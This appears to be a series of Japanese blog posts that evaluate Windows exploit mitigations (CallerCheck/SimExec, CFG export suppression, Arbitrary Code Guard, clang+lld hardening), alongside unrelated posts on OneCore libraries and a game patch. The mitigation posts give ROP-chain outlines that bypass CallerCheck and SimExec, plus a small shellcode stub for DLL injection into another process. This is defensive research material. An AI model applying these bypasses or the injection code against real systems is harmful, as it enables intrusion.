   CreateProcessInternalW
   CreateProcessW
   CreateRemoteThread
   HeapCreate
   LoadLibraryA
   LoadLibraryExA
   LoadLibraryExW
   LoadLibraryW
   MapViewOfFile
   MapViewOfFileEx
   VirtualAlloc
   VirtualAllocEx
   VirtualProtect
   VirtualProtectEx
   WinExec
   WriteProcessMemory
kernelbase.dll:
   CreateFileMappingNumaW
   CreateFileMappingW
   CreateRemoteThreadEx
   HeapCreate
   LoadLibraryExA
   LoadLibraryExW
   MapViewOfFile
   MapViewOfFileEx
   VirtualAlloc
   VirtualAllocEx
   VirtualProtect
   VirtualProtectEx
   WriteProcessMemory
EMET5.52のみ
ntdll.dll:
   NtCreateFile
   NtMapViewOfSection
   NtUnmapViewOfSection
   RtlAddVectoredExceptionHandler
   ZwCreateFile
   ZwMapViewOfSection
   ZwUnmapViewOfSection
kernel32.dll:
   CreateFileA
   CreateFileW
kernelbase.dll:
   CreateFileW
Exploit Protectionのみ
ntdll.dll:
   LdrGetProcedureAddressForCaller
kernelbase.dll:
   MapViewOfFileFromApp

CallerCheckまとめ

  • CallerCheckは戻り先アドレスの直前の命令が正しいcallであるかを調べる
  • 対象関数は決まっている
  • 今回はWinExecが引っかかっている

次はCallerCheck回避を試みていきます。

ROPでCallerCheck回避

既に気づいている人も多いでしょうがCallerCheckはROPでcall命令を呼んでやれば回避できます。

具体的にはcall eax; ret;が見つかればいいわけで、実際に見つかります。

というわけでROPを書き換えるとこうなります。

~~(“calc.exe\0″の構築)~~
pop ecx; ret;のアドレス
WinExecのアドレス
mov eax, ecx; ret;のアドレス
call eax; ret;のアドレス
filenameのアドレス
SW_SHOW(0x05)
ExitProcessのアドレス
0x00000000

実際にやってみよう

BypassCallerCheck.exeで生成したdata.binをtarget.exeを実行してみましょう、無事(?)電卓が起動したはずです。

ROPでCallerCheck回避まとめ

  • 実際にcall命令を使えばCallerCheckは回避できる
  • ROPでcall命令を使うことは難しくはない

仕組みがバレれば回避も余裕な類に思えますね。

CallerCheckは他にもjmpでの呼び出しなども弾くのですが、これは一般的なプログラミングテクニックでも使用されるため問題なのではないかとの意見もあるようです。

次はSimExecによる更なる対策を行います。

SimExec

CallerCheckを回避するためにcall命令を呼びましたが、そのcall命令の呼び出し元は偽装できるでしょうか?またさらにその前は?

すぐ上で書いたようにcall一回呼ぶためにもretを伴うレジスタ操作を何度か行っており、それら全てをcall命令ごしに行うことはとても現実的ではありません。

そこで20命令分(※EMETは15命令)までret後を先読みし、その範囲内で見つけたret全てでCallerCheckを行おうという考えが生まれました、それがSimExecです。

実際にやってみよう

SimExecもCallerCheckと同様手動でExploit Protectionから有効にする必要があります。

target.exeを対象にSimExecを有効にして起動してみましょう。

無事電卓の起動に失敗したはずです。

なぜこうなったのか

CallerCheck対策は1度callを挟んでいるとは言え20命令の中でExitProcessの先頭へのretを含みます。

そこでCallerCheckと同様のチェックが行われ、call命令が見つからなかったためROPだと見破ることができています。

SimExecまとめ

  • SimExecとは20命令分シミュレートし、範囲内のret全てにCallerCheckする機能
  • call eax; ret;を使用したROPで回避するのは難しい

次はSimExec回避を試みていきます。

ROPでSimExec回避

前回call命令での対策は難しいと書きましたが、SimExecは 実際にcall命令で呼んだかを見ているのではなくret後に到達する20命令を見ているだけです。

つまりcallで呼んだあとのretのごとくcall直後の命令を指定してしまえばよく、今都合よくcall eax; ret;のアドレスがあるのでこのret部分に連続で20回retしてやれば回避できます。

というわけでROPを書き換えるとこうなります。

~WinExec呼び出しコード~
SW_SHOW(0x05)
call eax; ret;のret部分へのアドレス
call eax; ret;のret部分へのアドレス
~17命令省略~
call eax; ret;のret部分へのアドレス
ExitProcessのアドレス
0x00000000

※WinExecの呼び出しがcallのままなので厳密には20回retしてやる必要はありません。

実際にやってみよう

BypassSimExec.exeで同じようにdata.binを生成しtarget.exeを実行してみましょう、今回も無事(?)に電卓が起動したはずです。

ROPでSimExec回避まとめ

  • call命令実行後のふりしたret命令20回で回避できてしまう
  • 回避は別に難しくはない

こちらも仕組みがバレれば回避は余裕な類に思えますね。

一応バッファーオーバーフローの長さに制限があるパターンでは対策になりえますが、長さに負荷をかけたいならもっと別のアプローチの方が賢そうです。

ROP対策の是非

CallerCheckやSimExecはROP対策として導入されたものではありますが、現状ROP対策として有効に機能しているとはとても言えない状態です。

それどころか現在のWindowsのVC++のコンパイラオプションやOSのプロセス軽減策オプション(Exploit Protection)ではROPに対して必要十分な対策を行うことはできません。

最も有効なものはASLRによりアドレスを出来る限り秘匿すること。

次に有効なのがBufferSecurityCheckやSafeSEHなどの技術でそもそもROPを始めさせないことです。

あくまで自分に見えている範囲の話になりますが、日々新たなROP対策技術が開発されているとはいえ、今回のように詳細が分かれば対策は容易なものがほとんどであり、ROP対策はいたちごっこに近い状況だと感じています。

またロードされる全てのバイナリで有効にしなければ機能しないものも多く、OSやコンパイラの協力が壁となるのもその状況を加速させていると言えるでしょう。

あくまで現状ではですが、ROP対策にはROP狙い撃ち対策ではなく総合的なセキュリティーで対策するほうが賢いのかもしれません。

そのうえでCallerCheck/SimExecも有効にすべきかというと……

CallerCheck/SimExec速度比較

実はCallerCheck/SimExecには大きなデメリットが存在しています。

それは速度。

Windows10 1903でのVirtualProtectを10,000,000回実行した計測結果を載せておきます。

種別計測結果(単位ms)average(plain)を100%としたとき
plain117,146 99.68%
plain217,256 100.32%
CallerCheck120,541 119.42%
CallerCheck220,668 120.16%
SimExec123,420 136.15%
SimExec223,422 136.17%
CC+SE124,122 140.24%
CC+SE224,206 140.72%

次にWIndows7+EMETで同様の計測をした結果。

種別計測結果(単位ms)average(plain)を100%としたとき
plain19,32898.43%
plain29,625101.57%
CallerCheck147,875505.20%
CallerCheck246,953495.47%
SimExec153,593565.54%
SimExec254,171571.64%
CC+SE158,312615.33%
CC+SE257,828610.23%

Win7(というよりはおそらくはEMET)側は論外とも呼べる速度差、Win10側もボトルネックでの採用はためらわれる程度の速度差が出ています。

対象関数の数は多く、それらを内部的に使うAPIにも波及することを考えると範囲はかなり広くなると予想され、影響はそれなりに大きいと予想されます。

またExploit ProtectionではGetProcAddressも対象に入っているので気を付けてください。

※EMETではGetProcAddressは対象外。

このデメリットがある機能が前述程度の対策で回避されると考えると、私は費用対効果が割に合わないと感じました。

終わりに

今回はどちらかというとROP回でした。

CallerCheckとSimExecはMSからも動的有効化APIが何年も作りかけのまま放置されていたりと不遇な扱いで、おそらくは内部的にも似た評価なのだと思われます。

実際に有用かや有効にするべきかの判断は読者の皆様方にゆだねます。

ではまたいつの日か。

OneCore.lib/MinCore.libの紹介

Windows SDKが提供する.libファイルには関数群を提供するもの、単一.dllへの参照を提供するものがありますが、複数.dllへの参照を提供するものがあることは意外と知られていません。

今日はそういった複数の.dllへの参照を提供する.libの中でも代表的なOneCoreシリーズとMinCoreシリーズについて私の持つ知見を紹介しようと思います。

※これらは私が独自に調査蒐集した情報であり、公式の動作を保証するものではありません。

忙しい人向け要約

  • OneCoreは1つリンクすれば全てOKなオールインワン.lib
    • OneCore_downlevel.lib
      • version.dllなどのオールドスタイル.dllへリンク
    • OneCore_apiset.lib
      • api-ms-win-core-version-l1-1-0.dllなどAPI Setsへのリンク
    • OneCore.lib
      • 可能な限りオールドスタイルだがAPI SetsにしかないものはAPI Setsでリンク
  • MinCoreは限定環境向けAPI Sets提供.lib
    • MinCore_downlevel.lib
      • Windows7など極限制限下向け
    • MinCore.lib
      • Windows8.1やWIndowsPEなどの環境向け

前提知識:API Setsとは

Windows7から入った「OSのAPI群を厳格な名前空間に再配置したもの」及び「それらの名前から実体へリンクするライブラリローダー」です。

例えばGetFileVersionInfoExWはAPI Sets上はapi-ms-win-core-version-l1-1-0.dllにより提供されており、実行時に適切な.dll(環境によりversion.dllだったりKernelBase.dllなど)にリンクされ実行されます。

Windows10においては旧来のWin32APIと呼ばれていたものは全てカバーされており、旧来の.dllにリンクせずともほぼすべてのアプリを実装することが出来ます。

とはいえそれはWIndows10の話であり、Windows8.1やWindows7ではAPI Setsのカバー範囲が狭いため、それらのOSでの動作も必要な場合はまだ安易に利用できる状態ではありません。

またライブラリローダー自体が別系統であるため、DLLプリロード攻撃などに対しても耐性があります。

公式には旧来の方式に比べメモリー使用量が削減されることもあると説明されています。

OneCoreとは

API関係で数ある.libをすべてまとめたオールインワンな.libです。

具体的にはOneCore系の.libにさえリンクしておけばOS提供のAPI群は全て使用することが出来ます。

もちろんリンク時に必要なAPIのみ参照する方式なのでexeサイズの肥大化なども特にありません。

ただしAPI Setsの使用有無で若干のバリエーションがあります。

OneCore_downlevel.lib

旧来の.dllで提供できるAPIだけに絞ったOneCoreで、リンクされる.dllも全て旧来の.dllになります。

主にWindows7/8.1などの古い環境でも動作するアプリを作る開発者向けです。

当然ですが API Setsでのみ提供される 最新のAPI群は使用できません(リンクエラーになります)

OneCore_apiset.lib

全てのAPIをAPI Setsで提供するOneCoreです。

基本的にWindows10でしか動作しないようになりますが、全てのAPIを使用できDLLプリロード攻撃などに対しても耐性があります。

今はまだ遠い未来の話ですが、Windows10未満のOSがすべてサポート切れした後、MSはこれを使うことを主流としたいのだと予想されます。

WindowsSDKのバージョンが古い場合は提供されていないことがあります。

OneCore.lib

可能な限り旧来の.dllで提供し、それ以外はAPI Setsで提供するOneCoreです。

コード中で使用するAPIによって対象OSが変化してしまう問題があるため、私個人は使用を回避すべきだと考えます。

Windows10未満で動作する必要があればOneCore_downlevel.lib、Windows10でしか動作しなくてよいならOneCore_apiset.libの使用をお勧めします。

使用する場合は各APIのMSDNを良く参照の上、OSごとの動作確認をしっかり行うように注意してください。

また、WindowsSDKのバージョンが古いとOneCore_apiset.libと同じように動作することがあります。

MinCoreとは

旧来の.dllは環境(モバイルなど)により提供されないことがあります。

そういった環境でもAPI Setsは提供されるため、特殊環境向けにAPI Setsへリンクする.libが必要となりました、それがMinCoreです。

一般的な開発内の用途としてはWindows10未満向けでもAPI Setsを利用したい場合などがあげられます。

必要が無ければ基本的にはOneCoreを使うべきです。

MinCore_downlevel.lib

Windows7相当のAPI Setsを提供するMinCoreです。

これのみを使用してリンクエラーになっていないexeはWindows7上でも動作することが確約出来ます。

ただし提供されるAPI Setsはごく少量であるため(MSDN)あまり多くのことはできないでしょう。

具体的にこのMinCoreで動作が保証される特殊環境に何があるかは私は把握していません。

MinCore.lib

Windows8.1相当のAPI Setsを提供するMinCoreです。

ただ、実態調査をしたところWindows8.1では提供されていないAPI Setsへのリンクも提供されており実態が不明確です、可能なら使用は避けた方がよいでしょう。

提供されるAPI Setsはdownlevelに比べれば多彩ですがまだかなりの制限があると思うべきです(MSDN)

最低でもWindowsPEでMinCore.libの動作が保証されています(MSDN)

使い方

では実際に使ってみましょう。

要点は二つ、NODEFAULTLIBでkernel32.libとole32.libを外す、必要なOneCoreかMinCoreへのリンクを追加する、だけです。

もちろん手動で何かしらシステム.libへのリンクを追加しているなら撤去する必要があります。

では実際にやっていきましょう。

改造元として適当なC++プロジェクトを用意しました。

これはGetFileVersionInfoExWを使用していますがOneCoreもMinCoreも利用していないので、ビルドしてdumpbinすると以下のようにversion.dllへの参照がついています。

では改造していきましょう。

まず従来のlibと同時に使用すると正しく適用できないため外します。

ここを

こう消します。

さらに一部は暗黙でリンクされるので追加で除外設定を入れます。

そしてリンクする.libを変更します(今回はわかりやすくOneCore_apiset.lib

無事api-ms-win-core-version-l1-1-0.dllを参照する形に変わりました。

※OneCore_downlevel.libかOneCore.libの場合version.dllのままとなります。

今回はコード中からOneCore_apiset.libのリンク指示を入れましたが、プロジェクトプロパティの追加の依存ファイルでももちろん問題はありません。

終わりに

今回はOneCore/MinCoreについてある程度知見を広めることを目的とした記事でした。

巷では不親切なドキュメントのせいで誤ってリンクしてしまい問題になるケースも多く、そういった悲劇を少しでも減らしたいという思いもあります。

自分自身OneCoreやMinCoreに思うところがないではないですが、OneCoreの煩雑なリンク作業の手間を軽減しようとする試み自体は良いことだと思います。

ではまた次の記事で。

非公式東方鬼形獣バグ修正パッチリリース

非公式ですが東方鬼形獣のバグを直して回るパッチ作ったので公開します。

th17patch.zip

直るバグは以下の通り

  • オオワシ妖夢の攻撃力上限が他より100低い
  • 実績から再生できるEDが違う
  • カワウソ妖夢1面の誤字
  • 実績38の誤字
  • replayフォルダ以下にもなぜかsnapshotフォルダがある
  • リプレイでクリア系実績が解放される

エクスプロイトを書きつつ学ぶWindowsセキュリティー機能 ~CFG export suppression~

今回はControl Flow Guard(解説記事)の派生技術をご紹介。

忙しい人向けCFG export suppressionまとめ:

  • dllのexport関数のアドレスを正規の手段以外で得てcallするとクラッシュする機能
  • 正規の手段は以下の通り
    • 静的リンク(Import Address Tableなど)経由
    • GetProcAddress関数
    • dllにexport以外で関数ポインタなどで受け渡す機能が備わっていた
  • 基本的な機構はControl Flow Guardと一緒
    • 具体的にはコンパイラが動的なcallやjmpの直前にチェック関数を挿入している
  • 有効化するにはexeとdllのすべてで/guard:cfを指定し、exeのリンカに /guard:exportsuppress を指定する

前置き

Windowsの32bitアプリケーションはアドレスランダマイズが不足しており危険だという話はPCセキュリティ界隈では比較的よく聞く話です。

その中でも特に脆弱なのがdllのアドレスランダマイズで、過去の記事でも触れたとおり比較的軽微なメモリ漏洩でも関数のアドレスが推測可能になるのが現状です。

そういった現状を踏まえ任意コード実行の脆弱性を少しでも難しくするために生み出された技術、それが今回紹介するCFG export suppression(以降CFG ES)です。

以降はサンプルコード前提で進みます。

cfg_es.zip

注意事項

本機能を有効にする/guard:exportsuppressは2019/09/17現在、MSDN上では非公開なオプションであり正式に提供されている機能ではない可能性があります。

今後正式に提供されるとしても挙動など変更になっている可能性を念頭においてご利用ください。

攻撃:情報漏洩と任意コード実行

話をシンプルにするためにexport関数のアドレスを漏洩する関数を持つdllを用意します。

// ただのexport関数
extern "C" __declspec(dllexport) void proc() {
   std::cout << "Arbitrary code execution\n";
}

// procのアドレスを漏洩する脆弱な関数
extern "C" __declspec(dllexport) __declspec(guard(ignore)) unsigned int leak() {
   return reinterpret_cast<unsigned int>(proc);
}

leak関数はprocの関数を漏洩しています。

関数ポインタの取得ではない旨を示すために__declspec(guard(ignore))するのを忘れずに。
※関数ポインタの取得とみなされるとCFG ESの対象外となるため

攻撃対象のproc関数はただ標準出力にメッセージを出すだけの関数です。

攻撃側は既に脆弱性を突かれている前提でleak関数の返り値を実行するのを直に実装します。

int main(const int argc, const char * const * const argv) {
   const HMODULE dll = ::LoadLibraryA("dll.dll");
   unsigned int addr = reinterpret_cast<unsigned int (*)()>(::GetProcAddress(dll, "leak"))();
   reinterpret_cast<void (*)()>(addr)();
   std::cin.get();
   return 0;
}

実際に上記のソースコードと実行ファイルがフォルダ1に入れてあるので実行してみましょう、特に問題もなくproc関数が実行できてしまいます。

ではCFG ESで対抗しましょう。

防御:CFG ES

/guard:cf が有効でないなら有効にします。
※本アプリでは最初から有効になっています。

次にexe側のリンカオプションで /guard:exportsuppressを設定するだけです。

今回も設定済みの物をフォルダ2に入れてあるので実行すると、今回はクラッシュしました。

「proc関数はGetProcAddressされていないのにアドレスを知っているのはおかしい、攻撃だな!」

との判断により強制終了された結果です。

このチェックによりエラーとされない方法は以下の通りです。

  • GetProcAddressによりアドレスを取得する
  • 静的リンクして関数を呼び出す
  • dll内部で関数ポインタとして取得されたものを受け取る
  • /guard:cfを解除する(セキュリティが低下します)

一般的な使い方をしていれば回避する方が難しいのがよくわかるかと思います。

上記以外で不正に取得したアドレスでcallやjmpすることが難しくなるというわけですね。

このチェックは/guard:cfの機能により行われるために/guard:cfも有効でないといけません。

まとめ

  • CFG ESは/guard:cfと/guard:exportsuppressをつければ有効になる
  • 有効になると不正に入手したexport関数アドレスは実行できない

実用性

GetProcAddressを呼び出してしまえば許可されてしまうため、100%の防御というよりは攻撃者の手札を減らす類のもの、場合により気休め程度の効果にしかならないことも。

リンクするdllすべてでControl Flow Guardが有効でなければ効果が薄いのと、一定より古いOSではそもそも無視される問題があり頼りづらい。

Buffer Overflowなど任意コード実行を目指す攻撃は動的アドレスへのcallやjmpの利用を目指すことがあるため、そういった攻撃を防げるのは水際防御としては有効そう。

とはいえreturnアドレスなど他にも利用できるものは多いため、やはり単独で使用できるものではなくSafeSEHBuffer Security Checkなどの技術との併用は必須。

構造上Control Flow Guardとの併用が必須であり、Control Flow GuardはJITエンジンなど食い合わせが悪い機能が多く採用が難しいという問題がある、採用する際は十分テストを行い問題ないことを確認したい。

メモリや計算量にオーバーヘッドが存在するため速度がダイレクトに響く分野での採用も難しい。

総じてメリットは小さくデメリットは大きい傾向がある技術、採用はほかの技術を優先したい。

終わりに

Control Flow Guardの派生技術ということで取り上げましたがいかがだったでしょうか。

CFG ESのかかったバイナリは手元ではEdgeしか発見できていないレア物だったりもします。

無条件で使えるものではないのは確かですが、ここまで誰も使わないほど有用性が低い技術でもないと思うので、少しでも採用アプリが増えてくれたらうれしいんですがどうでしょうね?

ではまた。

エクスプロイトを書きつつ学ぶWindowsセキュリティー機能 ~Arbitrary Code Guard~

今回は被害を防ぐのではなく被害を抑える系技術のご紹介。

忙しい人向けArbitrary Code Guardまとめ

  • 自身からメモリアクセス権限を変更する権限を取り上げる技術
  • 具体的にはEXECUTEの新規付与禁止と既存EXECUTEメモリにWRITE付与禁止
  • 自身がマルウェアに乗っ取られた場合に他プロセスへの攻撃を難しくする
    • 具体的には他プロセスへの悪意あるコードの注入
  • 一度設定したら解除不能
  • 不特定多数の相手と通信するようなマルウェア被害が強く懸念されるアプリで被害最小化を図る場合向けの技術

前置き

攻撃を防ぐ技術は数えきれないほど存在しますが、それでも100%完全に攻撃を防ぐことは現代社会においては非現実的とされています。

そのため攻撃を防ぐことだけ考え、攻撃成功した後のことを考えなかった場合、あっという間に全てを乗っ取られ取り返しのつかない事態になってしまいます。

そこで攻撃が成功しても被害の拡大を防ぐ技術についても日々研究されています。

今回紹介するのもそういった方向の技術の1つで、Arbitrary Code Guard(以降ACG)です。

以降はサンプルコード前提で進みます。

ArbitraryCodeGuard.zip

例その1:メモリ書き換えによるコード注入

フォルダ1内のTarget.exeを攻撃します。

Target.exeの実装は以下の通り。

#include <iostream>

int main() {
   std::cin.get();
}

ただ入力待ちするだけのいたって善良な子です。

こいつにdllを注入します。

今回は注入に成功したことが分かればいいので特に悪事を働かせたりはしません。

#include <iostream>

#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
       std::cout << "Injection!" << std::endl;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

ただロード時に「Injection!」と出力するだけです。

次に攻撃者ですが、既に侵入に成功している想定で普通に攻撃を実装します。

   unsigned char code[] = {
      0x68, 0x00, 0x00, 0x00, 0x00, // PUSH 0x00000000(PUSH &"dll.dll")
      0x68, 0x00, 0x00, 0x00, 0x00, // PUSH 0x00000000(PUSH &::LoadLibraryA)
      0x58, // POP EAX
      0xFF, 0xD0, // JMP EAX
      0xC3, // RETN
   };

長くなる上ACGとは関係がないので端折りますが、要するに上記のコードを相手プロセス内に配置して実行するコードです。

内容的には::LoadLibraryA(“dll.dll”);に相当します。

ではTarget.exe>Attacker.exeの順に起動してみましょう。

上記のようにTarget.exe側にInjection!と出力されたはずです。

※普通に攻撃処理なのでアンチウイルスなどに止められる可能性があります。

次はこの攻撃をACGで失敗させます。

例その2:ACG実演

ACGとはメモリアクセス権(読み書き実行)の変更権限を制限する機能です。

攻撃者に侵入される前のアプリでACGを有効にしていたと仮定します。

void enableACG() {
   PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
   policy.Flags = 0;
   policy.ProhibitDynamicCode = 0x01;
   policy.ReservedFlags = 0;
   ::SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy));
}

上記でACGが有効になるのでmainの頭で呼んでおきます。

上記の変更が入ったものがフォルダ2に入っているので実行します。

失敗しました。

これは実行権限付きメモリー確保に失敗したためです。

実行権限が付与できなければいくらコードを書き込めても実行させることが出来ず任意コード実行まで到達できません。

このようにACGを有効にしておくことで、マルウェアに制御を奪われても被害拡大を防ぐことが出来ます。

例その3:拡大阻止ではなく防御には使えないのか

結論から言うと防御には使えません、以下で実演します。

Target.exe内でACGを有効にします。

入れた物がフォルダ3に用意してあるので実行します。

攻撃成功しました。

このように、あくまで自身が他者を攻撃しないようにするだけで、他者からの攻撃を防ぐ用途では使えません。

例その4:攻撃者にACGは外されないのか

結論から言うと外せません。

void disableACG() {
   PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
   policy.Flags = 0;
   policy.ProhibitDynamicCode = 0x00;
   policy.ReservedFlags = 0;
   ::SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy));
}

フォルダ4に上記修正を入れました。

しかし攻撃は失敗します。

普通の方法では後から外すことはできません。

まとめ

  • ACGは自身のメモリアクセス権変更権限を取り上げる技術
  • 有効にすると他プロセスに任意コードを書き込んで実行させるのは難しい
  • 自身に制約をかけ被害拡大阻止するだけで防御には使えない
  • 一度設定したら解除不能

その他詳細

  • 厳密には以下の権限が失われる
    • EXECUTE属性の新規発行
    • EXECUTE属性持ちにWRITE属性付与
    • EXECUTE_READWRITEを指定すること自体
      • EXECUTE_READWRITE =>EXECUTE_READWRITE(権限変更なし)もなぜか問答無用で失敗するように
  • 自分自身への付与も該当
    • ただしLoadLibraryでのDLL割り当てなどカーネル(他者)を経由する場合は問題ない

実用性

一般的なプログラマー視点であれば実用性はほぼないとみてよい。

ACGを導入してもファイルシステム経由でのdllインジェクションなどがありうるため、基本的に単独では意味が薄いのも痛い。

ユーザーがとても多く、防御策も軒並み全部採用している状態でなおセキュリティを高める場合にようやく選択肢に上る程度。

上記に該当するのは例えばブラウザなど。

とはいえそれほどデメリットもきつくないので、食い合わせの悪い技術(JITコンパイラなど)を使わないならば採用してもよい。

終わりに

今回は啓蒙というよりは紹介で、特に採用必要性のない技術でした。

とはいえブラウザ保護などには役立っているので、世の中はこういうものまで含めた積み重ねで安全が担保されているのだなと思っていただければ。

本記事でACGとは何かがちょっとでも伝わっていれば幸い。

ではまた。

Windows開発はclang+lldでも実用レベルか?セキュリティ面から調べてみた

「clang(コンパイラ)+lld(リンカ)でWindows開発をしたい」というのはC++でWindows開発しているなら誰もが1度ぐらいは考えるのではないでしょうか?

そのためには環境構築難度、可搬性、デバッグ難度、権利問題、いろいろあるとは思います。

今回はそのうちの1つ「VisualStudioに比べてセキュリティは低下しないの?」を調べてみました。

調査範囲

VisualStudioのコンパイラ及びリンカ提供の機能のうちセキュリティ的に主要機能と思われるものを独断と偏見で選びだし調査しました。

またこれらについては過去に本ブログで個別記事を書いています

結論

結論から先に書いておきます。

ある程度は問題ないですが、節々が怪しいので未実装の機能を使わないとしてもセンシティブなプロダクトでは危ないと感じました。

以下まとめ

  • コンパイラ
  • リンカ
    • /DYNAMICBASE
      • 問題なし
    • /SAFESEH
      • オプションの処理に不具合、おそらく動いている?
    • /GUARD:CF
      • おそらく問題はないがコンパイラ側が未実装なため不明

検証環境

公式の手順に従いVisualStudioでビルドしたclang8.0.0の32bit版を使用。

ただしVisualStudioは2019で、clangビルドでコンパイルエラーした箇所のみパッチを当てた物。

また、正しい動作が得られなかったものについてのみ検証時のorigin/masterのHEADである9fa56f7829aa5f5cca911c400bb43d854b46dc15をビルドしたものも使用した。

/GS(BufferSecurityCheck)

コンパイラオプション

  • VisualStudio
    • cl.exe /GS a.cpp
  • clang
    • clang++.exe -fuse-ld=lld -fstack-protector-strong -v a.cpp

検証方法

#include <cstdio>

int main() {
   char buf[8];
   ::fgets(buf, 256, stdin);
   return 0;
}

上記をオプションありとなしでコンパイルして大量の入力を行い、オプションなしはデバッガにてreturnまで到達してから異常終了すること、ありはreturnより前に検知され強制終了するかを検証した。

結果

両者共に正しく強制終了した、逆アセンブラ結果もカナリアの値も問題なし。

/guard:cf(ControlFlowGuard)

本項はコンパイラとリンカ両方合わせての検証となる。

コンパイラオプション

  • VisualStudio
    • cl.exe /guard:cf a.cpp
  • clang
    • clang++.exe -fuse-ld=lld -cfguard -Wl,-guard:cf -v a.cpp

-cfguardオプションはそのままだと無視されるバグが存在しており、パッチを当てて有効化して使用した。

diff --git a/clang/lib/Driver/ToolChains/Clang.cpp b/clang/lib/Driver/ToolChains/Clang.cpp
index cbaf5cb..773e69e 100644
--- a/clang/lib/Driver/ToolChains/Clang.cpp
+++ b/clang/lib/Driver/ToolChains/Clang.cpp
@@ -3470,6 +3470,10 @@ void Clang::ConstructJob(Compilation &C, const JobAction &JA,
   // FIXME: Implement custom jobs for internal actions.
   CmdArgs.push_back("-cc1");

+  if (Args.hasArg(options::OPT_cfguard)) {
+    CmdArgs.push_back("-cfguard");
+  }
+
   // Add the "effective" target triple.
   CmdArgs.push_back("-triple");
   CmdArgs.push_back(Args.MakeArgString(TripleStr));

パッチを当てない場合-vオプションでいったん-cc1ありの長いコマンド例を出した後、そこに-cfguardを加えて実行すると認識する。

検証方法

#include <cstdio>

class Hoge {
   public:
   virtual int hoge() {
      return 128;
   }
};

class Fuga : public Hoge {
   public:
   virtual int hoge() {
      return 256;
   }
};

Hoge * ptr = new Hoge();
Hoge * ptr2 = new Fuga();

int Haga() {
   return 512;
}

typedef int (*HagaPtr)();
volatile HagaPtr ptr3 = Haga;

void Hege(Hoge *ptr, Hoge *ptr2, HagaPtr ptr3) {
   ::printf("%d:%d:%d\n", ptr->hoge(), ptr2->hoge(), ptr3());
}

int main() {
   Hege(ptr, ptr2, ptr3);
   return 0;
}

上記をオプションありとなしでコンパイルしてそれぞれの仮想関数テーブルや関数ポインターなどをデバッガで別関数へ書き換え実行、オプションなしは別関数が実行されること、ありは強制終了するかを検証した。

結果

clang+lldでは強制終了しなかった。

>clang/lib/Driver/ToolChains/Clang.cpp:5873
>Currently there’s no support emitting CFG instrumentation; the flag only emits the table of address-taken functions.

とある通りチェック処理は未実装の模様。

また、解析した範囲ではチェック関数用の関数アドレスリストの生成や有効化フラグ自体は問題なく発行されているように見えた。

/DYNAMICBASE

コンパイラオプション

  • VisualStudio
    • cl.exe a.cpp /link/DYNAMICBASE
  • clang
    • clang++.exe -fuse-ld=lld -Wl,-dynamicbase -v a.cpp

検証方法

int main() {
   return 0;
}

上記をオプションありとなしでコンパイルしてデバッガ越しに実行、a.exeがロードされるアドレスを確認しtouchした後再度同様の作業をする、オプションなしはアドレスが変化していないこと、オプションありは変化していることを検証した。

結果

問題なし、ロードされるアドレスも自身が知っているランダマイズの範疇であった。

/SAFESEH

コンパイラオプション

  • VisualStudio
    • cl.exe a.cpp /link/SafeSEH
  • clang
    • clang++.exe -fuse-ld=lld -Wl,-safeseh -v a.cpp

検証方法

#include <cstdio>

int main() {
   char buf[8];
   ::fgets(buf, 256, stdin);
   return 0;
}

上記をコンパイルオプションありとなしでコンパイルしてデバッガ越しに実行、大量の入力によりseh連鎖を上書きした後デバッガにより例外を発生させた、オプションなしは異常終了すること、オプションありは強制終了することと検証した。

結果

clang+lldでは常に強制終了した。

どうやら-safeseh:noを指定してもsafeseh有効のバイナリを吐くようで(おそらくバグ)、無効にする方法が見つからなかった。

そのため、SafeSEHが正しく作用した結果強制終了しているのか、なんらかの別要員でたまたま強制終了したのかの区別がつかなかった。

一応解析した範囲ではSafeSEHのフラグが立っており正常に適用されているように見えるので動いている可能性が高いとは思える。

終わりに

数にして4つのみの検証となったが未実装1、不具合により検証不能1という結果になった。

実際のところこれが信頼に値するかはわからないが、自分の感性においてはまだ不安が残る数値だと考える。

とはいえchromeでの採用実績があるとのことなので使用を志す人は検討してみるのもいいだろう。

ちなみに自分が調べた範囲だとchromeは/guard:cfを有効でコンパイルしているようだが、当然チェック関数は未実装であり、ControlFlowGuardは機能していなかったことをここに記録しておく。